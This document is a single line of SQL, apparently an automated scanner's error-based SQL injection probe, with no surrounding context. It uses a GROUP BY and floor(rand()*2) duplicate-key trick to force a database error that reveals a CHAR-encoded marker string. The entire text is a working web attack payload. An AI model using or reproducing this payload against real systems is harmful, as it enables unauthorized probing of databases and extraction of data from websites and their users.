(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(100),CHAR(109),CHAR(97),CHAR(118),CHAR(116),CHAR(105),CHAR(121),CHAR(114)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))